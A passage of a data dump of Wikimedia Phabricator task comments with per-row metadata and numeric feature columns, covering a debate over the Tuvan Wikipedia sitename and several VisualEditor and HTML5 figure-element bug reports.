+So temporarily keep the computer internal name ""Wikipedia"" is good to our community becouse by doing that the local community can establish a Tuvan name of Wikipedia anytime.",,,1373963779,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-trlh3c7s2ff2x2avhgoo,task_subcomment,,True,c1,3,False,,,2,,1,1,0,1,1,1,1,1,0,0,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,0,0,0,1,0,1,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+247028,Create Wikipedia Tuvan,"That's nonsense. There is apparently no ""trying to establish a native name"", because the discussion from Dec. 2012 fell asleep.
+However, the Википедия name is surely 'established' in a certain way because the community(!) requested it to be set as their sitename and used it also on the Incubator pages. The community can use any name it wants, regardless of whether that is ""European"" or ""native"" or not.",,,1373941142,,PHID-USER-7e4yonmruupxzg23swum,False,,,PHID-TASK-trlh3c7s2ff2x2avhgoo,task_subcomment,,True,c1,3,False,,,2,,1,0,0,1,1,1,1,1,0,0,1,1,0,0,1,0,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,0
+247022,Create Wikipedia Tuvan,"**polar_bear0901** wrote:
+
+(In reply to comment #9)
+> Well, apparently polar_bear0901 (whom I do not know) opposes the translation
+> of
+> ""Wikipedia"" chosen by the test-community.
+> 
+> In his comment he refers to this discussion about the name from Dec 2012,
+> started by an IP (him?):
+> <https://incubator.wikimedia.org/wiki/Talk:Wp/tyv/
+> %D0%9A%D0%BE%D0%BB_%D0%B0%D1%80%D1%8B%D0%BD#Localization>.
+> There was no conclusion.
+> 
+> See however https://meta.wikimedia.org/w/index.php?diff=5528227&oldid=5527996
+> and https://meta.wikimedia.org/w/index.php?diff=5529039&oldid=5528970 for the
+> community requesting the project & ns 4 name Википедия, upon which I based
+> comment 0.
+> Cf. also this recent ""editwarring"" on the Main Page:
+> <https://incubator.wikimedia.org/w/index.php?title=Wp/tyv/
+> %D0%9A%D0%BE%D0%BB_%D0%B0%D1%80%D1%8B%D0%BD&action=history>
+> 
+> Unless the community itself decides to change the 'established' sitename, I'd
+> request the wiki configuration to be carried out as described in comment 0.
+
+But where did you show us an ""established"" sitename? I.e. did the community establish any site name? I didn't see any ""community requesting"" because the discussion didn't draw a conclution and the local community are still trying to establish a native name, and we should help them choosing a native name rather than apply an European name for them.",,,1373939223,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-trlh3c7s2ff2x2avhgoo,task_subcomment,,True,c1,3,False,,,2,,1,0,0,1,1,1,1,1,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,1,1,0,1,0,0,1,1,1,1,1,1,1,0,0,0,1,1,1,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,1,0,0,1
+247016,Create Wikipedia Tuvan,"Well, apparently polar_bear0901 (whom I do not know) opposes the translation of ""Wikipedia"" chosen by the test-community.
+
+In his comment he refers to this discussion about the name from Dec 2012, started by an IP (him?): <https://incubator.wikimedia.org/wiki/Talk:Wp/tyv/%D0%9A%D0%BE%D0%BB_%D0%B0%D1%80%D1%8B%D0%BD#Localization>. There was no conclusion.
+
+See however https://meta.wikimedia.org/w/index.php?diff=5528227&oldid=5527996 and https://meta.wikimedia.org/w/index.php?diff=5529039&oldid=5528970 for the community requesting the project & ns 4 name Википедия, upon which I based comment 0.
+Cf. also this recent ""editwarring"" on the Main Page: <https://incubator.wikimedia.org/w/index.php?title=Wp/tyv/%D0%9A%D0%BE%D0%BB_%D0%B0%D1%80%D1%8B%D0%BD&action=history>
+
+Unless the community itself decides to change the 'established' sitename, I'd request the wiki configuration to be carried out as described in comment 0.",,,1373897829,,PHID-USER-7e4yonmruupxzg23swum,False,,,PHID-TASK-trlh3c7s2ff2x2avhgoo,task_subcomment,,True,c1,3,False,,,2,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,1,1,1,1,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,1,0,0,1
+247009,Create Wikipedia Tuvan,@MF-Warburg: Would you please tell us /what the hell/ is going on here? Your request was totally different from comment 6.,,,1373883715,,PHID-USER-hxjysvdvogekpjub3nd3,False,,,PHID-TASK-trlh3c7s2ff2x2avhgoo,task_subcomment,,True,c1,3,False,,,2,,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,1,1,0,1,1,1,1,0,1,1,0,0,0,1,1,0,0,0
+247000,Create Wikipedia Tuvan,"**polar_bear0901** wrote:
+
+(In reply to comment #5)
+> Waiting for Reedy to do some on-server magic.
+
+TEMPORARILY import an English name is important in that people will realize that the name is temporarily chosen and they still have rights to decide their localized name.",,,1373863960,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-trlh3c7s2ff2x2avhgoo,task_subcomment,,True,c1,3,False,,,2,,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+246991,Create Wikipedia Tuvan,"**polar_bear0901** wrote:
+
+(In reply to comment #4)
+> Any problems with this request?
+
+Yes. The community is choosing a name for Tuvan Wikipedia (and someone are afraid whether they're granted the right to have a localised name of Wikipedia - see the talk page of the Main Page). 
+
+So the information should be **temporarily**
+
+Project name: Wikipedia
+Project namespace: Wikipedia
+Project talk namespace: Wikipedia дугайында сүмелел
+Project logo: http://commons.wikimedia.org/wiki/File:Wikipedia-logo-v2-en.png
+
+(I don't want to use the English name even temporarily but at least this may not result in many locals feel they're obliged to borrow the Russian name.)",,,1373863597,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-trlh3c7s2ff2x2avhgoo,task_subcomment,,True,c1,3,False,,,2,,1,1,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,0,1,0,1,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,1,0,1,0,1,0,1,1
+246982,Create Wikipedia Tuvan,Waiting for Reedy to do some on-server magic.,,,1373803738,,PHID-USER-hxjysvdvogekpjub3nd3,False,,,PHID-TASK-trlh3c7s2ff2x2avhgoo,task_subcomment,,True,c1,3,False,,,1,,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+246974,Create Wikipedia Tuvan,Any problems with this request?,,,1373788651,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-trlh3c7s2ff2x2avhgoo,task_subcomment,,True,c1,3,False,,,1,,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0
+246967,Create Wikipedia Tuvan,Related URL: https://gerrit.wikimedia.org/r/68188 (Gerrit Change I7e9a1193500b7e09a29dab1d833c712db9453422),,,1371051069,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-trlh3c7s2ff2x2avhgoo,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+246962,Create Wikipedia Tuvan,Related URL: https://gerrit.wikimedia.org/r/68188 (Gerrit Change I7e9a1193500b7e09a29dab1d833c712db9453422),,,1371051066,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-trlh3c7s2ff2x2avhgoo,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+246958,Create Wikipedia Tuvan,[I guess that's more of a site request than a language setup bug? Also changing priority.],,,1370682017,,PHID-USER-hxjysvdvogekpjub3nd3,False,,,PHID-TASK-trlh3c7s2ff2x2avhgoo,task_subcomment,,True,c1,2,False,,,-4,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,1,0,1,1,0,1
+51310,VisualEditor: Sometimes ignores changing a wikilink with an underscore to one with a space,"**Author:** `the.anonymouse.wikimedia`
+
+**Description:**
+I created a wikilink [https://en.wikipedia.org/w/index.php?title=User:The_Anonymouse/sandbox2&diff=558776770&oldid=548109401] as [[United_States]]. I then tried to use VisualEditor to change the underscore to a space ([[United States]]), but it said that my edit was ignored due to no changes. However, if I actually click the link button and click the United States link suggestion, it works as expected. That is how I eventually accomplished the edit with VisualEditor [https://en.wikipedia.org/w/index.php?title=User:The_Anonymouse/sandbox2&diff=558777422&oldid=558776770].
+
+--------------------------
+**Version**: unspecified
+**Severity**: trivial
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=42140",Medium,50.0,1370622300,1402688105.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-ticw62p4dy4nr4dhvsrq,task_description,resolved,True,c1,2,False,False,False,-4,,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,1
+245921,VisualEditor: Sometimes ignores changing a wikilink with an underscore to one with a space,This got fixed a long time ago; sorry for the slow triage on your report.,,,1402688105,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ticw62p4dy4nr4dhvsrq,task_subcomment,,True,c1,3,True,,,49,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+245912,VisualEditor: Sometimes ignores changing a wikilink with an underscore to one with a space,"Is this a Parsoid issue?
+
+<p><a href=""./Main_page"" rel=""mw:WikiLink"" data-parsoid=""{&quot;a&quot;:{&quot;href&quot;:&quot;./Main_page&quot;},&quot;sa&quot;:{&quot;href&quot;:&quot;Main_page&quot;},&quot;stx&quot;:&quot;simple&quot;,&quot;dsr&quot;:[0,13,2,2]}"">Main page</a></p>
+
+serialises to
+
+[[Main_page]]
+
+whereas
+
+<p><a href=""./Main_page"" rel=""mw:WikiLink"">Main page</a></p>
+
+serialises to
+
+[[Main page]]
+
+which is what we want",,,1371168271,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-ticw62p4dy4nr4dhvsrq,task_subcomment,,True,c1,2,True,,,-3,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,0,1,0,1,1,0,0,0,0,1
+51308,VisualEditor: Images' selection blocks can overlap the toolbar and prevent saving/etc.,"exemple in video
+
+When I add a picture and it gets behind the toolbar,
+This prevents the toolbar from be clicked
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F11568}",Medium,50.0,1370617380,1373649909.0,PHID-USER-pts53ljtnbn3jhkllas6,False,,False,PHID-TASK-7ci67c3uih3tuev7ghu3,task_description,resolved,True,c1,2,False,False,True,-4,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+245808,VisualEditor: Images' selection blocks can overlap the toolbar and prevent saving/etc.,The problem seems to be fixed in the current version. Thank you!,,,1373649909,,PHID-USER-pts53ljtnbn3jhkllas6,False,,,PHID-TASK-7ci67c3uih3tuev7ghu3,task_subcomment,,True,c1,3,False,,,1,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+245804,VisualEditor: Images' selection blocks can overlap the toolbar and prevent saving/etc.,"(In reply to comment #0)
+> Created attachment 12495 [details]
+> exemple in video
+> 
+> When I add a picture and it gets behind the toolbar,
+> This prevents the toolbar from be clicked
+
+Thank you for the video; this is hugely helpful and very clear what's going wrong! Assigning.
+
+**Attached**: {F11568}",,,1370620359,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-7ci67c3uih3tuev7ghu3,task_subcomment,,True,c1,2,True,,,-4,,0,0,1,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+51257,VisualEditor: Provide full grapheme cluster boundary detection,"Per Ed.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1370532360,1371423759.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-3qm4izjirylpzskf6mlm,task_description,resolved,True,c1,2,True,False,True,-4,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+242564,VisualEditor: Provide full grapheme cluster boundary detection,"This was fixed by gerrit 68864; there are some edge cases which we may want to address in future (""three Korean Jamo and then a combining accent would split wrong""), but closing this as done.",,,1371423759,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-3qm4izjirylpzskf6mlm,task_subcomment,,True,c1,2,True,,,-3,,1,0,0,1,0,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+242559,VisualEditor: Provide full grapheme cluster boundary detection,Related change: https://gerrit.wikimedia.org/r/#/c/68864/,,,1371420521,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-3qm4izjirylpzskf6mlm,task_subcomment,,True,c1,2,True,,,-3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+51147,"VisualEditor: ""Review your changes"" - cancel-arrow needs a tooltip; possibly replace with an ""X""?","Arrow shown in top-right, under search bar
+
+The Up-Arrow icon, at the top-right of the ""Review your changes"" dialog (which cancels the review window) needs a tooltip. 
+
+I suggest: ""Cancel review, go back to current edit"" or similar.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+
+**Attached**: {F11244}",Medium,50.0,1370371920,1395021940.0,PHID-USER-hphmqcx66p6d6gvmjzp7,False,,False,PHID-TASK-inqexk3a4klng6im6ld7,task_description,resolved,True,c1,1,False,False,False,-4,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,0
+236617,"VisualEditor: ""Review your changes"" - cancel-arrow needs a tooltip; possibly replace with an ""X""?","Yes, this was fixed ages ago. Apologies for not noting and closing then – thanks for the reminder!",,,1395021940,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-inqexk3a4klng6im6ld7,task_subcomment,,True,c1,3,True,,,37,,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+236611,"VisualEditor: ""Review your changes"" - cancel-arrow needs a tooltip; possibly replace with an ""X""?","All left-arrows (except for the link-dialog?) appear to have been replaced with ""X"", and all ""X""s (plus the link-dialog arrow) have tooltips. 
+
+I think this can be closed-as-fixed, but I will leave it up to the product team in case I missed something that they're tracking with this.",,,1394910439,,PHID-USER-hphmqcx66p6d6gvmjzp7,False,,,PHID-TASK-inqexk3a4klng6im6ld7,task_subcomment,,True,c1,3,False,,,36,,1,1,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,0,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,0,0,1,0,0,0
+236603,"VisualEditor: ""Review your changes"" - cancel-arrow needs a tooltip; possibly replace with an ""X""?","**santosh.cool.reddy** wrote:
+
+""Review your changes"" - cancel-arrow needs a tooltip; possibly replace with an ""X""?
+
+Look at the attached image,looks like this bug has been already solved. Arrow is replaced by an 'X'.
+
+**Attached**: {F11247}",,,1394901722,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-inqexk3a4klng6im6ld7,task_subcomment,,True,c1,3,False,,,36,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,0,1,0,0,0,0,0
+236596,"VisualEditor: ""Review your changes"" - cancel-arrow needs a tooltip; possibly replace with an ""X""?","santosh reddy: I have no idea what you meant by ""cleared"". This bug report is still open and there is no patch mentioned. In case you meant that the bug is fixed for you, please provide a clear link where you see it fixed. Thanks.",,,1394900638,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-inqexk3a4klng6im6ld7,task_subcomment,,True,c1,3,True,,,36,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,0
+236592,"VisualEditor: ""Review your changes"" - cancel-arrow needs a tooltip; possibly replace with an ""X""?","**santosh.cool.reddy** wrote:
+
+I see that this bug has been cleared. Please check the bug and close this bug.",,,1394889750,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-inqexk3a4klng6im6ld7,task_subcomment,,True,c1,3,False,,,36,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0
+236588,"VisualEditor: ""Review your changes"" - cancel-arrow needs a tooltip; possibly replace with an ""X""?","Argh, yes, Kaldari got his comment in before mine. :-)",,,1371858127,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-inqexk3a4klng6im6ld7,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+236583,"VisualEditor: ""Review your changes"" - cancel-arrow needs a tooltip; possibly replace with an ""X""?","Also needed in ""Save your changes"" dialog for up and left arrows.",,,1371858070,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-inqexk3a4klng6im6ld7,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,0,0,0,0,0,0,0
+236578,"VisualEditor: ""Review your changes"" - cancel-arrow needs a tooltip; possibly replace with an ""X""?",*** Bug 49983 has been marked as a duplicate of this bug. ***,,,1371857901,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-inqexk3a4klng6im6ld7,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+236573,"VisualEditor: ""Review your changes"" - cancel-arrow needs a tooltip; possibly replace with an ""X""?","Someone else commented on this today, and suggested that an [X] might be a better icon than a < or ^.
+
+See http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Link_pop-up for further discussion.",,,1370806025,,PHID-USER-hphmqcx66p6d6gvmjzp7,False,,,PHID-TASK-inqexk3a4klng6im6ld7,task_subcomment,,True,c1,2,False,,,-4,,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,1
+236568,"VisualEditor: ""Review your changes"" - cancel-arrow needs a tooltip; possibly replace with an ""X""?",Thanks for the catch!,,,1370539736,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-inqexk3a4klng6im6ld7,task_subcomment,,True,c1,2,True,,,-4,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+236565,"VisualEditor: ""Review your changes"" - cancel-arrow needs a tooltip; possibly replace with an ""X""?","There's an Identical problem with the ""Report a problem"" dialog, in two places. 
+
+1) The left-arrow at the left-hand-side needs a tooltip. ""Cancel report, go back to Review"" or similar.
+
+2) The up-arrow at the top-right needs a different tooltip. ""Cancel report, go back to current edit"" or similar.
+
+(I'm not sure if you'd prefer this in the same bug, or split into 2 bugs, or even 3 bugs. Please let me know.)",,,1370479896,,PHID-USER-hphmqcx66p6d6gvmjzp7,False,,,PHID-TASK-inqexk3a4klng6im6ld7,task_subcomment,,True,c1,2,False,,,-4,,0,0,0,0,1,1,0,0,0,1,1,1,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,0,1,1,0,0,0,1
+51097,Use figure and figcaption HTML5 elements when possible,"Since MediaWiki allows images that are clearly separated out, we should see if we can use `<figure>` and `<figcaption>`.  These tags are intended for ""//some flow content, optionally with a caption, that is self-contained and is typically referenced as a single unit from the main flow of the document.//""
+
+This would particularly make sense for thumb and frame where a caption is already shown.  However, figure can also be used without figcaption, which should simplify implementation.
+
+The main concern is backwards-compatibility with browsers that don't know about these tags. They're new to HTML5 (which is now always on in MediaWiki), but
+
+1. Older IE will not be able to style these elements from CSS
+2. Older IE will not be able to select these elements from JavaScript.  This can be worked around by calling `createElement(tagName)` once for each of the relevant tag names.
+
+For issue number 2, I think jQuery's internal `createSafeFragment` already takes care of old IE.  So only the styling issue remains.
+
+--------------------------
+See also: {T25932}",Medium,50.0,1370315820,1689005142.0,PHID-USER-dw53c5cb2qfhyemej57o,True,PHID-USER-gxcjmjpejlhfnrquksm2,False,PHID-TASK-jjld4d5wjqxkuihohuzl,task_description,resolved,True,c1,1,True,False,False,-4,,1,0,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,1,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,1,0,0,0,0,1,1,0,1,1,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+1820549,Use figure and figcaption HTML5 elements when possible,"Change 726645 **abandoned** by Arlolra:
+%%%[mediawiki/core@master] [WIP] Always ship content.media.less when content-media feature is requested%%%
+Reason:
+%%%%%%
